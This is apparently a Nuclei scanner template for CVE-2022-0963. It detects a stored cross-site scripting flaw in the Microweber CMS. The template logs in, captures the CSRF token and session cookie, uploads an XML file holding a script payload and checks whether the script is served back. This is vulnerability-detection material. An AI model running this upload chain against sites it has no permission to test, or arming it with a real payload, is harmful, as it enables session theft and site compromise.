88 lines
2.8 KiB
YAML
88 lines
2.8 KiB
YAML
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id: CVE-2022-0963
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info:
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name: Unrestricted XML Files Leads to Stored XSS in Microweber
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author: amit-jd
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severity: Medium
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description: Microweber prior to 1.2.12 allows unrestricted upload of XML files, which malicious actors can exploit to cause a stored cross-site scripting attack.
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reference:
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- https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0963
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- https://github.com/advisories/GHSA-q3x2-jvp3-wj78
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.7
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cwe-id: CWE-79
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tags: xss, microweber, CMS, upload
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requests:
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- raw:
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- |-
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POST /api/user_login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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username={{username}}&password={{password}}
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- |
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POST /csrf/ HTTP/1.1
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Host: {{Hostname}}
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X-Requested-With: XMLHttpRequest
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- |
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POST /plupload HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/javascript, */*; q=0.01
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X-XSRF-TOKEN: {{url_decode(csrf_token)}}
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
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Referer: http://{{Hostname}}/admin/view:modules/load_module:files
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Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}
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-----------------------------59866212126262636974202255034
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Content-Disposition: form-data; name="name"
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pocxss.xml
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-----------------------------59866212126262636974202255034
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Content-Disposition: form-data; name="chunk"
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0
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-----------------------------59866212126262636974202255034
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Content-Disposition: form-data; name="chunks"
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1
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-----------------------------59866212126262636974202255034
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Content-Disposition: form-data; name="file"; filename="blob"
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Content-Type: application/octet-stream
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<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
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-----------------------------59866212126262636974202255034--
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- |
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GET /userfiles/media/default/pocxss.xml HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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cookie-reuse: true
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extractors:
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- type: kval
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part: header
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name: csrf_token
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kval:
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- XSRF-TOKEN
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internal: true
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- type: kval
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part: header
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name: session
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kval:
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- laravel_session
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internal: true
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_4,"alert(document.domain)")'
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- 'status_code_4==200'
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- 'contains(body_3,"bytes_uploaded")'
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condition: and
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